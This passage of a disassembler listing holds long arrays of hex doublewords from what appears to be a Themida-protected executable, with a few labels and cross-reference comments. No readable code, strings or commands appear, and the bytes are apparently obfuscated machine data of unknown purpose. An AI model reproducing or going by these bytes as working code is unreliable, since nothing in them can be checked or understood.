0EC48B6D9h, 0AD0EF097h, 2A65CF52h, 0BFC21D9Eh dd 0FB9EE343h, 3255A807h, 70176CCCh, 8F30E1Ah, 2DA0064Ah dd 8E117C4Fh, 52D22C33h, 4D9D6A0Dh, 0F3841929h, 38A5EDB3h dd 1C9BE846h, 0EB856A4Fh, 0DC5BA605h, 0F409210Fh, 0ABCFCC04h dd 0C31E816Fh, 0E07D15F5h, 0A00B9C17h, 0DF5A3F1Ch, 78952D45h dd 0A00B9B7Fh, 0CBACC7A4h, 2FA00B9Bh, 93C27B7Fh, 0A98A6E95h dd 54C5B2CFh, 81F8A00Bh, 0B63478FBh, 0A4DD83E8h, 0BD000000h dd 0C756E612h, 0E8390Dh, 328F1137h, 2578FBC7h, 0B8AF97EAh dd 0A000A5EDh, 62C23C43h, 2A8D731Dh, 0E280F9D7h, 0DA77017Ah dd 0ABCFCCF2h, 3953F6D5h, 0EC2B76F7h, 5B1CB1DFh, 0C0A00B91h dd 0EF7715E3h, 9461FC94h, 9DA5F041h, 0CB2C92BEh, 8E11D170h dd 483DD833h, 0E6137C4Fh, 0AEA9h, 3B86E300h, 0F350AA14h dd 0C813926Ch, 86DB59A9h, 419C1FE3h, 6DD9563Eh, 2E90B70Ah dd 12EC73D0h, 0DB274A95h, 9650459h, 4A1BDC71h, 2200A006h dd 338E1149h, 0D52D22Ch, 0C5B6CB63h, 74A5EDB3h, 0E5C6AAF5h dd 118D7A0Bh, 0FBC7328Fh, 0E1052479h, 0D76A067Dh, 0ABD510B0h dd 0D53D8AD5h, 2E404F4Ch, 16816242h, 0D47BC828h, 1B358AEAh dd 198D6E83h, 0B192A006h, 0DCD3AEE7h, 2190767h, 22829137h dd 0E444BADDh, 0D22E109Fh, 797CE38Dh, 35B0A8B2h, 106AA38Dh dd 901023D9h, 52D22C33h, 0CCD820Dh, 0BB000000h, 0B2016F14h dd 0F6C21AFFh, 112E1901h, 0E0CE4994h, 0CAF42380h, 0DBE7126Dh dd 0A78B065Bh, 0B0BEF944h, 9DA5EC2Fh, 6B57C21Fh, 7678B70Ah dd 5C68A7FCh, 815A5452h, 4C2h, 4EA8300h, 5C241487h, 81E38953h dd 4C3h, 4EB8100h, 87000000h, 895C241Ch, 89512404h, 4C181E1h dd 83000000h, 0C8704E9h, 1C895C24h, 0C5BA5224h, 0B869AD18h dd 9C3A4432h, 530C8905h, 2DD00131h, 31530C89h, 1C8B545Ah dd 4C48124h, 50000000h, 1B242C81h, 8F008276h, 43810843h dd 82761B08h, 241C8B00h, 81E68956h, 4C6h, 4C68300h, 5C243487h dd 582434FFh, 4C481h, 79E90000h, 4CFFFBE1h, 0C5B82F57h dd 305E76Bh, 7E0FFC5h, 7012ECAEh, 1C4EF79Eh, 6F76A895h dd 35304862h, 7B0AD613h, 883AA1C3h, 8B624042h, 77104F5Ah aNNs db 'ÈNé°',0 ; DATA XREF: Themida_:004F072Co align 10h dd 0DA8C6660h, 0F04C2F6h, 0C85h, 2D853B00h, 0F05E226h dd 3684h, 0D853B00h, 0F05E215h, 2A84h, 89853B00h, 0F05E211h dd 1E84h, 11853B00h, 0F05E209h, 1284h, 0B1BD8300h, 105E218h dd 5840Fh, 5FE90000h, 8B000000h, 3C5203D0h, 88BA8Bh, 4A8B0000h dd 0FC98578h, 4984h, 0F8C28100h, 8B000000h, 0C8030C72h dd 8B1C598Bh, 0D8031451h, 0C9850B8Bh, 10840Fh, 0CE3B0000h dd 17820Fh, 0CF3B0000h, 0F830Fh, 0C3830000h, 850F4A04h dd 0FFFFFFDCh, 0DE9h, 429D8D00h, 0B805E24Ch, 5, 0C361E3FFh dd 8D8DD00Bh, 5E76DACh, 0BD0BC38Ah, 5E21D4Dh, 0BE98D89h dd 0C7FC05E2h, 0E2076185h, 63D405h, 5585C700h, 5E21Bh dd 8B000000h, 0E21E8185h, 0E5B5FF05h, 6A05E210h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h dd 78A3C355h, 0E4E02CFDh, 958961F2h, 5E22A75h, 0B1595FFh dd 858B05E2h, 5E20A9Dh, 95FF006Ah, 5E20AB9h, 7FEBC08Bh dd 0CF582182h, 0AA55413Ah, 84973CE4h, 73DBB3ECh, 13E23823h dd 0BC7679B7h, 0FB0D2C78h, 41CB3B16h, 6E5D3874h, 0BE23F9FBh dd 293429E2h, 0DE1CB1A6h, 77D8E0D0h, 1CD5383Ch, 0AA389BC2h dd 8D4A41C9h, 5597A3EAh, 91644FA0h, 0E4A3713Eh, 1812F757h dd 2B98CC4Fh, 64E49242h, 0F3BD38D4h, 0C7956493h, 4DEBDC32h dd 0A93F2569h, 0F7CD76D8h, 911ABB68h, 48B0A214h, 577C0B8Eh dd 0EDFAADDFh, 8D4BC67Fh, 0E2016D9Dh, 39B805h, 85890000h dd 5E20BA5h, 0E8h, 0D055800h, 89000000h, 39E903h db 2 dup(0) word_544B0A dw 0 ; DATA XREF: Themida_:004EDE24o dd 0Dh dup(77E6h), 0E8FF77E6h, 8, 9A4CBBBAh, 3A5846CBh dd 8280BF66h, 0FA8B605Eh, 4810Fh, 0BA660000h, 8161510Bh dd 5B49C6h, 0BB00h, 0F9510000h, 1E148B59h, 68F281FCh, 66587E7Ch dd 818D93BFh, 41FC8DEAh, 10C28163h, 0F1F85D0h, 1489FFBFh dd 8F71BF1Eh, 8A0F5AC7h, 0Ch, 6890Fh, 840F0000h, 0 dd 0E801EB83h, 14h, 17C28017h, 72F442ADh, 78A99F22h, 0F88B9B93h dd 879B3FC7h, 4B58C18Ah, 0FB8B4B4Bh, 0A554FB81h, 850FFFFFh dd 0FFFFFF99h, 0B830Fh, 820F0000h, 5, 1FBD9EB8h, 0EFE94Bh dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h dd 50400000h, 65DDCEC3h, 0CF8B6660h, 615AF080h, 6FAAB58Dh dd 0CE905E7h, 35000000h, 0A2E2E1E3h, 76853BEh, 8D5A2A18h db 85h, 0Eh word_544C2E dw 0E554h ; DATA XREF: Themida_:004EE554o dd 8160F505h, 0DA21A8F7h, 62BB6642h, 0D0FF6138h, 6AC3FCh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h dd 7212C1C3h, 0D98C66F8h, 0A8E0Fh, 5E90000h, 4B000000h dd 21B10507h, 0F04C1F6h, 3F84h, 0BF0F6000h, 61CF8AF1h dd 0CB8BFB8Bh, 75AEC032h, 0F7CF2BFDh, 8BF92BD9h, 0D98B49D7h dd 20CD00EBh, 1013Fh, 1874C00Bh, 8B0C708Dh, 0A6CB8BFAh dd 75490A75h, 1B8FAh, 9EB0000h, 0E4EB008Bh, 0B8h, 8B0FCF00h dd 9, 8E0FFC60h, 0 dd 0BB666061h, 0D381404Ch, 6888A40Dh, 0E585C761h, 3F05E76Fh dd 8D000101h, 0E770BF8Dh, 52006A05h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 89F85E56h dd 0E20BE98Dh, 0C1B52B05h, 0C705E20Ah, 0E2076185h, 72B805h dd 58F0F00h, 66000000h, 0E93DCE81h, 1B5585C7h, 5E2h, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h dd 9349DFC3h, 0FF6D289Ah, 0E21DF1B5h, 85958B05h, 0FF05E201h dd 0E20B1595h, 259D0105h, 6A05E233h, 0B995FF00h, 8B05E20Ah dd 694DEBC0h, 0E2DA4C7Bh, 0A05237EDh, 0E4A0C4A2h, 8D40D9B2h dd 38B4E9F8h, 7C5BF51Dh, 0FA2F2A87h, 4019BFF7h, 0B06591CDh dd 0C02E28B5h, 0B5ED281Ah, 5B676743h, 8EAA7786h, 0B1EFC155h dd 895680EBh, 1638278Dh, 615AEACAh, 7C5033E9h, 0C816B62Ah dd 60EBh, 17h dup(0) dd 0F2E90000h, 0E900000Ah, 0AE6h, 0E7791568h, 0E8DE905h dd 3F68FFFBh, 0E905E77Ah, 0FFFB0E83h, 0E77AC968h, 0E79E905h dd 3F5FFFBh, 0AE261B87h, 5D9DECEAh, 1F4B551h, 0B12A1FBBh dd 0A948E7E3h, 3DD9E714h, 9B078D4Ch, 626834A6h, 36DCDA1Fh dd 0E152F70Eh, 30F9FFC8h, 6B6E894Dh, 32B5C625h, 0C746F9C7h dd 31545084h, 0B9B2A384h, 1463FC18h, 6592D7B3h, 9BE2B02Dh dd 9F86E552h, 0E9D1BDCh, 8775FCCDh, 0FEA1E03Bh, 0E26BB2F6h dd 0B999DA7Fh, 0F348FC18h, 2E7467EAh, 0EAE2AE3Bh, 92B4159Dh dd 3AA32249h, 764F574h, 0BAEE609Fh, 226D08D1h, 912A7863h dd 4672DAEh, 26128C1Dh, 23EAD29h, 793FB6B9h, 6B37A322h dd 6125D110h, 8CA0AD1Ah, 0D9283C9Dh, 68C70200h, 7A3EB6F9h dd 0DEF29B5Ch, 0DD490EABh, 0AB80F9F0h, 9AED150h, 0F9F0DD48h dd 0F30A9642h, 4667DC7Ah, 0E804DE1Bh, 9D8E4F0Eh, 0C1C70E71h dd 6E400E94h, 0F40E969h, 0C6FC18B9h, 9C0D3C69h, 5D702FE7h db 1Eh, 0E2h word_544F42 dw 0EDD9h ; DATA XREF: ___:off_4274E0o dd 0EFAE704Ah, 1C59ACEAh, 726CF2CBh, 0E1CD3A86h, 0C98A2FAEh dd 18FC18B9h, 0C68C9A23h, 4078855h, 0E542C53Dh, 0FF18B974h dd 0BABB1CADh, 6BFF18B9h, 9906A71Ch, 44h, 567A18ADh, 4809AE68h dd 99FC18B9h, 132D087Eh, 0C6331868h, 0AF7BD643h, 3AC865C8h dd 2FAEC5A1h, 0DBFC48BAh, 1E2F2C6Ch, 0FC180E5Dh, 0E32EBFF4h dd 22666EDBh, 3C787C3Fh, 6F5B6CE9h, 318E4A70h, 0B4000000h dd 68567A18h, 6F6C2FAEh, 4891DA21h, 18B96EEFh, 0F9FDBCFCh dd 0DCED6EBDh, 400306B3h, 45F6159Bh, 94AE8664h, 0AD28666Eh dd 7DAAF8E5h, 4A70BA00h, 0D0577B18h, 0FADF1777h, 4EF14E01h dd 0C6A625D9h, 0CD1EA265h, 86A4D9A6h, 31B7F9FAh, 520FC245h dd 82BC3FE6h, 86000001h, 2C537F18h, 18B9C28Bh, 0D13403FCh dd 0A723696Eh, 23696EB9h, 48CB4A87h, 18B96EEFh, 0FFC8A7FCh dd 567A180Bh, 23B43568h, 114EE2A9h, 1DE9F288h, 4078855h dd 5882C53Dh, 23843154h, 42FEh, 7A18C000h, 0E219995Ch dd 0D70C49DCh, 0ECCA07B4h, 37B39AEh, 0B48D0F2Ch, 0A4BEC13h dd 0DBFC182Dh, 94AE466Ch, 8422666Eh, 0DBD639AEh, 0FEE52149h dd 0AE7E7CEDh, 0B9C98A2Fh, 2318FC18h, 33379Ah, 0AE4F0000h dd 47A6ECEFh, 56FCB516h, 9AE7472h, 0FC18B948h, 45960382h dd 0A2B6023Bh, 86530425h, 0B582FC18h, 5BCE0B14h, 0AD3E118h dd 6E94AE3Ch, 70842266h, 537F184Ah, 0B9C68B2Ch, 5514FC18h dd 5481E4A2h, 0CD581773h, 0D0575582h, 83246A91h, 2FAED987h dd 18B9C98Ah, 9A2318FCh, 5E6422D7h, 7A18704Ah, 0B4356856h dd 0C58E723h, 0E3C4D31Fh, 7885507h, 44C73D04h, 0FB000000h dd 0D3567A18h, 0A4258746h, 0C6E72334h, 4809AEE0h, 99FC18B9h dd 0B98ECF68h, 0E847FC18h, 94AE37B3h, 8422666Eh, 0B7C639AEh dd 0C0484B59h, 78BC4B57h, 16B7B63Ch, 0EFAEB135h, 115AA1EDh dd 2269C8h, 189D0000h, 0AE68567Ah, 18B94809h, 0CBF764FCh dd 0A2E8EFAEh, 0DDE3185Bh, 0F7D00D4Eh, 666EB288h, 4A708422h dd 0AAEEEFAEh, 0D4376C30h, 0EEFB4667h, 0B8000000h, 0B9DF9039h dd 0E576FC18h, 0DA97DDDCh, 6F78B56Ah, 8F7F189Bh, 388626B9h dd 7F78AF80h, 0FC5DCC39h, 0FC18DA73h, 8D13C689h, 0A91EE3Ch dd 2E2F880Bh, 0E7FC18DAh, 1FA35988h, 505683CEh, 696E8C4Ah dd 0EFAE8723h, 7219A2E8h, 5C7A1888h, 4D8E1D9Bh, 0B435AA10h dd 8BE46423h, 51FA0E21h, 0B3B324A0h, 0C7A30400h, 0A6ECEFAEh dd 7BC6105h, 34133D04h, 57000000h, 0D3567A18h, 0A7EB1150h dd 5361744h, 0DCFC18B9h, 0AE604667h, 18B94809h, 4A299FCh dd 666E94AEh, 39AE8422h, 3B5638D5h, 52F3D4A0h, 478E94h dd 18B40000h, 0AE68567Ah, 0CE6BEDEFh, 0FC18B98Dh, 6BB2EF44h dd 0B9CE8F28h, 2807FC18h, 24A7EAF3h, 0B4F8E2A5h, 18B9A293h dd 0A30473FCh, 18B9195Ah, 3A8035FCh, 0C98A2FAEh, 18FC18B9h dd 0B7ECB229h, 6ED3EB16h, 70842266h, 23696E4Ah, 5F6399D8h dd 8309CEB3h, 0B9601F78h, 0F49FC18h, 880ECB37h, 0FCBA3F02h dd 3AF847A9h, 0F9C73477h, 208E66E0h, 0E2D5F1B7h, 71D6497Dh dd 1FADF11h, 0B790EB40h, 0F9FA9FBAh, 0C069E8A9h, 0F9FA9F8Fh dd 96D0E946h, 39B66B9Eh, 12153FE6h, 29000000h, 0D823696Eh dd 18B9FE7Fh, 0D5A1ABFCh, 0AC2A7069h, 0EBEFAEA6h, 10CB44A7h dd 0B7A437FCh, 0FA5FC23Fh, 0FC189579h, 470AD3A8h, 38F11492h dd 8087EB1Bh, 0BAC50FCh, 0EA0EABDEh, 3602001Dh, 112112B7h dd 0BBF0F9FFh, 5485E422h, 0FAFD1956h, 69CE7155h, 41D7739h dd 0AF881368h, 0F7D17792h, 386F4781h, 45CDE1E5h, 304Ah dd 0E344C700h, 0F7D17B72h, 961ADEA3h, 18BA8059h, 8B2C537Fh dd 0FC18B9DAh, 0E6AC5110h, 77EA41C5h dword_545350 dd 0D2F8C434h, 2A8Fh, 894D0C00h, 6C7DFE0Dh, 537F189Eh ; DATA XREF: ___:off_43BF7Co dd 0B9C68B2Ch, 300FFC18h, 6A2C9831h, 8CD0CB3Bh, 45B5F43Bh dd 0DB2516B3h, 87FCFC18h, 8E864C4Ah, 18Ch, 527E18B4h, 0AE704A94h dd 39386639h, 0A700044Bh, 0A2A53FB8h, 0E9544D86h, 0D643C633h dd 2E8995BEh, 0EFCCD25h, 88550F35h, 0C53D0407h, 34575582h dd 17954087h, 4849B6h, 47C60000h, 18B971E2h, 0F2CBA0FFh dd 987E1834h, 18B93E3Fh, 2398D7FCh, 4809AE87h, 99FC18B9h dd 94AE04A2h, 0AC2C6A6Eh, 5FAEEAEAh, 0F574A11Eh, 244745B2h dd 0B99BDC7Dh, 0FD4AFC18h, 10964180h, 4A70F3B7h, 358Eh dd 7E18B400h, 9F22E8Eh, 39BC00D9h, 0EDC90673h, 0B94809AEh dd 2B64FC18h, 0E4867B81h, 2326935Dh, 93347860h, 6E94AED7h dd 0B623266Ah, 992E2B61h, 0C5A13AEFh, 696E4A70h, 0EFAE8723h dd 6C30A8E8h, 467DC19h, 246FF6D7h, 0DD287665h, 9A69FF98h dd 917CC236h, 7A187248h, 0F356856h, 4078855h, 42C73Dh dd 18FB0000h, 90D3567Ah, 0A7832468h, 0B94809AEh, 0C382FC18h dd 3495941Ah, 0FC18B903h, 0C64465D2h, 0B95506A3h, 0BD8CFC18h dd 0CA077C3Ah, 0AE94AEECh, 414BDE39h, 3C8D24DEh, 0F9C5C135h dd 308E4A70h, 0B4000000h, 68567A18h, 0B94809AEh, 0C382FC18h dd 2D369713h, 39AE02A8h, 0ED9EF98Dh, 0B4A5B669h, 3CC0BFE4h dd 0CFF73A83h, 8422666Eh, 0A1EDEFAEh, 6E834718h, 7E21206Ch dd 65D6357Bh, 22503944h, 0F7FC18B9h, 0D28FE176h, 1B1838E0h dd 5EAC98C2h, 0F811109Ch, 0C1ABFBFCh, 2167901Ch, 63D475F4h dd 0B2FC186Dh, 3826E4C5h, 0C5206C6Eh, 2D5C609Ah, 0B94C0DAAh dd 0AE85FC18h, 0ECF761Dh, 0FA6580h, 812669BCh, 0FC18B9D0h dd 62C42A01h, 0A9C82E92h, 1DAEF2E6h, 0E7156155h, 0CBD1F07h dd 0DC09646Eh, 0D2A9536h, 0F432FC18h, 3A04E81Ah, 0FFFE2CB5h dd 8A7332FFh, 777EE104h, 7E3C431h, 18B9FB88h, 0B9922FFCh dd 2A46FC18h, 0D6FC18B9h, 0CF5E6497h, 5FD43D8Eh, 0ADFC18B9h dd 1DAEEAEAh, 18B9BFB4h, 0B9D66BFCh, 8D92BC18h, 2D9A28D3h dd 0B50B9D3Ah, 0D5A2C1FDh, 0FAD479B6h, 326FBEFAh, 368D9A8Ah dd 2B60DDA4h, 9B6F9334h, 3A6C41Eh, 0DE12B5A6h, 0DA176C37h dd 814DCD5Dh, 68CB5E3Eh, 2A4h, 9D397D7Bh, 666C28ACh, 0CFCBD703h dd 913D7B7Ah, 79652BD0h, 619A23C2h, 7F2B753h, 0AE2C1DB9h dd 5485E4E2h, 7D844856h, 0FFC09BDCh, 3CB4AF9h, 0D823696Eh dd 904462EFh, 0FA8DF14h, 2002AEDh, 1C4F4B20h, 0F9FFC867h dd 170A3E23h, 0E75B8EB2h, 77EA4107h, 8C0FC334h, 0D65B2A2Bh dd 0BB8CFBF7h, 0F7D65BBAh, 3BA71C6Bh, 8816C786h, 60EFF87Dh dd 8DEA3177h, 0F7D65BC8h, 9C83A7ACh, 0CEC8913Bh, 77C09h dd 0F4129841h, 8C4C44B5h, 0F1B0CB00h, 6AAEF958h, 0FAC3726Ch dd 39281C01h, 0B6AB7890h, 42058413h, 5361795h, 0DCEB854Ah dd 6BC04667h, 96BAA710h, 0D9163693h, 72C9159Dh, 4D4B8CCFh dd 535F9BDAh, 4A5089C8h, 7C4DBA33h, 981EDBAEh, 0B70F240Dh dd 0C64BE19Dh, 5BFC7FE2h, 0E19DC71Ah, 0C7C677D0h, 201FE19Dh dd 357C4D3Ah, 85540094h, 5E7C9F1Fh, 0A4EA13F1h, 5E031441h dd 0ADDC0926h, 18A1EFEAh, 0AB9F847Dh, 0B905F5B4h, 3658E120h dd 0F2229610h, 0D2E79965h, 0C5E68115h, 0F78DEA41h, 74E0F998h dd 17A4E11h, 0A7510000h, 5282E7E3h, 1F94856h, 0A55011BDh dd 5586FBE7h, 4D34434Fh, 99058B70h, 676331A8h, 0CED4D802h dd 92387E7Bh, 45F653D2h, 9CF9FFC3h, 0EFAE5591h, 2E07A0EEh dd 5B1A0D21h, 43CE1F9Bh, 2AD6E6h, 8078C902h, 4BA4C73Ch dd 0DB913EC6h, 15A62A8Eh, 14054B6Eh, 0B38C60C3h, 0FB148CD2h dd 1691BAF7h, 0E2D739B1h, 0A9285F94h, 36A7F3E6h, 9CC3368h dd 0B5D13A83h, 0EC041DCDh, 0E15E5C9Dh, 7EE0FA84h, 49287DFEh dd 0F0h, 697531A7h, 32D8DC18h, 9B078B4Fh, 6D692FA6h, 35D1DF1Ch dd 15C6D7BEh, 0BB3E038Fh, 6298E9F5h, 8F1B05Eh, 29580482h dd 0FFC3CF80h, 0DF1F06F9h, 9C5D7B18h, 62DFE514h, 0F953235h dd 8602002Ah, 0CBA939A3h, 77ABBC54h, 8386F328h, 0A9117C0h dd 575D9EC1h, 25A4EF76h, 0D1347862h, 0C392C364h, 0F443F9FFh dd 2D6B6CD3h, 387E7B3Ah, 5186FBAFh, 5AC7304Bh, 0EA56F376h dd 2D07E750h, 0FDF94856h, 0AC2C1DB9h, 5087FAE0h, 1B453096h dd 76A3DDE8h, 0DEE41968h, 68C7130h, 6C32A998h, 0CF5F6CFDh dd 5198A18h, 5983E6A4h, 0FFF84955h, 0ADEC1DB9h, 125D6E2Ch dd 8C3DD9E7h, 0B1ABAC0Dh, 0D7AF7D6h, 6A5EC3BCh, 22EE52F7h dd 4A2109CEh, 74D554D7h, 0EDADC0C3h, 53042512h, 82EDADC0h dd 0C60914B5h, 0DA0F8B11h, 8, 0DEE2185Bh, 9DA7390Dh, 0D92C686Eh dd 0C05B6196h, 34575B81h, 25404E8Dh, 287341BAh, 1F6E34A9h dd 9B21D4h, 769519C1h, 788307CFh, 0E08950F2h, 405h, 4E88300h dd 8B240487h, 0ED682424h, 89000033h, 56682414h, 8900000Fh dd 0B8502404h, 1ABA0EE4h, 2D62B705h, 8BC289EBh, 0C4832404h dd 4EC8104h, 89000000h, 4812424h, 424h, 89575800h, 48157D7h dd 236E5024h, 8408F5Dh, 50086881h, 5F5D236Eh, 5124048Bh dd 0C181E189h, 4, 4C181h, 0C870000h, 34FF5C24h, 0C4815A24h dd 4, 0FB03B6E9h, 0BB4F5DFFh, 0DEB84D43h, 305E77Bh, 0E8C38BC5h dd 8, 74D74DC1h, 0F641BDE6h, 9C27D181h, 0FC5E1E1Eh, 669FC681h dd 81660000h, 68DC83F1h, 197Ah, 14E9h, 13FBF800h, 355DC9FEh dd 0C9ADBCE1h, 225F0422h, 0B322FECAh, 0ED805A31h, 0BB36FFD0h dd 7ADA98A2h, 0C781F55Fh, 11EE29FBh, 4949BB66h, 0E6ACC781h dd 8B663306h, 71F781C6h, 816AFBCCh, 0B8136BDBh, 0B03E8944h dd 4EE8353h, 0BE9h, 27057500h, 0AC0E21A0h, 0FC07FC1Ah dd 1EA81h, 850F0000h, 1Bh, 0E96BE780h, 2Bh, 0AB398DB3h dd 519526A3h, 875A8874h, 0EF22B68h, 0E9A596BFh, 0FFFFFF95h dd 84C89D32h, 0FD33E4FFh, 0E161465h, 203A4CDBh, 0D8FAA5A8h dd 7EAB113h, 66A6DD4Ah, 0A3F228AEh, 3063C71h, 587A4035h dd 87FC9170h, 5881D285h, 0B33AC85h, 7D44E724h, 4F209378h dd 84332888h, 0B63C9030h, 9933913Dh, 0CF2778CDh, 98B89135h dd 20F62CB6h, 963394D7h, 0CC33C0B1h, 3633FB35h, 333392DDh dd 5A6BB135h, 0E877186Dh, 42771031h, 33338B31h, 5A63D135h dd 0D06F364Fh, 93BA13AEh, 33314CDCh, 0CA33FB35h, 0CC3392DDh dd 0A568B135h, 176F186Eh, 0BD771031h, 0CC338B31h, 0A560D235h dd 687BC22Bh, 963C24F4h, 47655A8Ah, 0E3BECFCCh, 36D4EC79h dd 993385DCh, 4A632C35h, 3744DDBh, 6E23BAE3h, 4861DFC3h dd 0BBAF4610h, 6FDBC145h, 5B339135h, 7CC60E2Bh, 5E47A278h dd 3FC41A53h, 591795BCh, 9ADBC135h, 0EC339135h, 0EF6B526Dh dd 0B237B571h, 8437B571h, 8C339135h, 2DCD5265h, 290F28C0h dd 93118E59h, 49BE5BBFh, 63D4EC1Bh, 4DA1053h, 9E8A0177h dd 9C33D4B3h, 0CA35ABEh, 30DBC335h, 0B9339135h, 4569526Fh dd 0E737B561h, 2637B571h, 0DB339135h, 0AA9A5267h, 0EE89F755h dd 0EAB2F773h, 7052C5CDh, 0CC339130h, 0C104B9C1h, 0BAA66EC6h dd 0C936732Fh, 0CB8C8C9h, 8E64915Fh, 33339136h, 0C6F0CE15h dd 0C817EDBCh, 6217D5B4h, 33339123h, 13F0C672h, 16B373C0h dd 0CF8E1271h dd 3336732Bh, 24B09840h, 0C9D18930h, 362AE535h, 8BF31A66h dd 9933954Fh, 0FD6E14BCh, 0FBBE94D7h, 36D723CFh, 0C16842CAh dd 0D4362CB6h, 123394D7h, 8B60C122h, 9933954Fh, 0FD6E14BCh dd 0FBBE94D7h, 36D73EDCh, 0C16842CAh, 0A6E01A53h, 65DBC335h dd 13339135h, 1069526Fh, 4D37B561h, 7C37B571h, 71339135h dd 0FD1D5267h, 0A29B7273h, 0DCE01A6Dh, 5BF05DDh, 68B251BEh dd 92158649h, 1B050CB8h, 0B6BE94D2h, 9CD4FE68h, 0CC3F103Ah dd 61DA9135h, 5E339135h, 0E60EAA3h, 1CCC1030h, 0E23C513Eh dd 3333911Dh, 0DBAE1CC0h, 4D367379h, 815ED6DBh, 33302956h dd 43B29135h, 0A9E54BCCh, 0E63C72CAh, 3333913Dh, 99311C3Ah dd 96629135h, 1B0D0CB8h, 0B6BE94D2h, 9CD4FE68h, 79BA63B4h dd 0B6CCFDA8h, 19062853h, 1D3C513Eh, 0CC33916Bh, 2A710CB8h dd 555394D7h, 7FCD5EB4h, 0ADF12E3Ah, 6633908Dh, 6433FB35h dd 993392DDh, 0F6CB135h, 424F186Ah, 17771031h, 99338D31h dd 0F64D635h, 76EFA08Ch, 15BBA151h, 0F3D06E89h, 0CFDBC335h dd 46339135h, 0BA69526Fh, 1837B561h, 0D437B571h, 24339135h dd 89225267h, 0FF220AD4h, 51BE6FBEh, 63D4EC76h, 0E5B8F755h dd 0F8FC1A53h, 49BE5B83h, 63D4FE68h, 3333163Ah, 49CC9135h dd 2466915Fh, 66339136h, 6EF0CC15h, 9D17FDBCh, 0C817D5B4h dd 66339122h, 0A5F0C470h, 96A8D862h, 0CC3397B8h, 0DF55C335h dd 386D8EA9h, 0DEB79EF5h, 0AC339135h, 93E446B5h, 71AE1C54h dd 0F3367379h, 0CFDBC335h, 46339135h, 0BA69526Fh, 1837B561h dd 0DB37B571h, 24339135h, 0BAED5267h, 9A8B65B0h, 0C3339135h dd 663391B4h, 53D06E35h, 993394DCh, 0D1E9B835h, 7C6ECDAh dd 3C705ABEh, 993396BDh, 9A89C635h, 383E42EDh, 4E1F2CB8h dd 14BE94D2h, 0C9D41190h, 2D6FEC8Dh, 2AB6A2BFh, 0B236731Eh dd 0B8DA50FAh, 0D21B0D0Ch, 68B6BE94h, 0B49CD4FEh, 0A879BA63h dd 53B6CCFDh, 3E190628h, 0F305E983h, 0F8C08BA4h, 14E8h dd 8F054D00h, 8859DC08h, 0F140CD09h, 0A113A7Fh, 0E8A1D0C5h dd 52F86084h, 8B5A615Eh, 92EA81C3h, 8B757C24h, 0BE8C0h dd 0D2AC0000h, 3EA09E05h, 17937472h, 0C7816634h, 835A8500h dd 0E21EA9BDh, 9750005h, 1805BD83h, 740005E2h, 8B535019h dd 47AB8C0h, 85890000h, 5E21DD5h, 0B3619D8Dh, 0D3FF05E4h dd 0BD83585Bh, 5E21805h, 50177400h, 47AB853h, 85890000h dd 5E21DD5h, 0B0029D8Dh, 0D3FF05E4h, 47B2585Bh, 0A834D281h dd 0C08B27C5h, 82018D8Dh, 0B58B05E7h, 5E21809h, 0BE98D89h dd 6A05E2h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h dd 56460000h, 56811C3h, 858B11BCh, 5E22AE5h, 76185C7h dd 582C05E2h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 150424h, 50400000h, 0C7E3BAC3h, 0E21B5585h, 5, 0FFF98B00h dd 0E20659B5h, 11950105h, 0FF05E231h, 0E20B1595h, 55006A05h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h dd 0ACF80A72h, 93EA5DDCh, 0FF006A0Dh, 0E20AB995h, 0EBC08B05h dd 0C534E56Ah, 0CEFD125Ah, 79CC5EFEh, 0AFCE3CEDh, 9A5B2BCFh dd 2A8202E0h, 0A4C0589Ch, 0F572797Bh, 855491DAh, 0AF6AF6D1h dd 0F32DE06Bh, 93B75D83h, 0F7F81B48h, 0C62702Dh, 6DC649E8h dd 0E73E0FA2h, 51627F69h, 5604FBABh, 0D6245625h, 42022054h dd 0E60E7BC3h, 96D91067h, 0BF9AA8CFh, 25067702h, 0F4F80246h dd 76F426D0h, 8D248AC1h, 0E783458Dh, 53006A05h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 0E8F9E22Eh dd 0Ah dword_545F50 dd 870922ECh, 497FD651h, 0BD01FFF3h, 5E23159h, 0E98D895Ah ; DATA XREF: Themida_:004EF208o dd 6A05E20Bh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1A042444h, 47000000h, 841FC357h, 87A39A34h, 85C7F9DBh dd 5E20761h, 6844h, 6890Fh, 0B5890000h, 5E21B65h, 0CE9h dd 69586B00h, 0C642971Ah, 4E378950h, 5585C7C1h, 5E21Bh dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 18042444h, 46000000h, 5FADC356h, 0FF3BC095h, 0E20659B5h dd 95895105h, 5E21551h, 1595FF5Ah, 8B05E20Bh, 0E218A1BDh dd 0FF006A05h, 0E20AB995h, 0EBC08B05h, 0ED122A6Ah, 72E55827h dd 0DF84A849h, 0FFCC4470h, 42F0CB7Ch, 335730D9h, 945C1F86h dd 49912999h, 8E97B60Dh, 9789F0F8h, 7E837EEBh, 0E7F977EBh dd 0F67467BAh, 0B4318117h, 731960C0h, 2BB9BA79h, 5678761Dh dd 0E7864B71h, 1C5BD5A1h, 0B1FB6668h, 0CED787DFh, 0C9936610h dd 99127E98h, 6A092F0Fh, 0E4B64848h, 0A5AF8478h, 0E8857797h dd 13h, 32FE5A59h, 0BB443D2Dh, 628C4AE6h, 30227D90h, 81159806h dd 0FA6719D9h, 6E95B57h, 0BD000000h, 50FAFE52h, 45C3815Dh dd 8B000071h, 1C20BAC2h, 870F0000h, 4, 0A338B966h, 0BD8B33FFh dd 5E230E1h, 0CF81665Eh, 0C681DFD0h, 5FB2CEC2h, 4A98D8Bh dd 0EE8105E2h, 2931417Eh, 0C8C0Fh, 890F0000h, 6, 77DB589h dd 0C68105E2h, 1574E714h, 2669BD09h, 0F95605E2h, 8B0F038Fh dd 4, 8B3AB966h, 8104EB83h, 1EAh, 1C850F00h, 81000000h dd 1EC4BED1h, 27E969h, 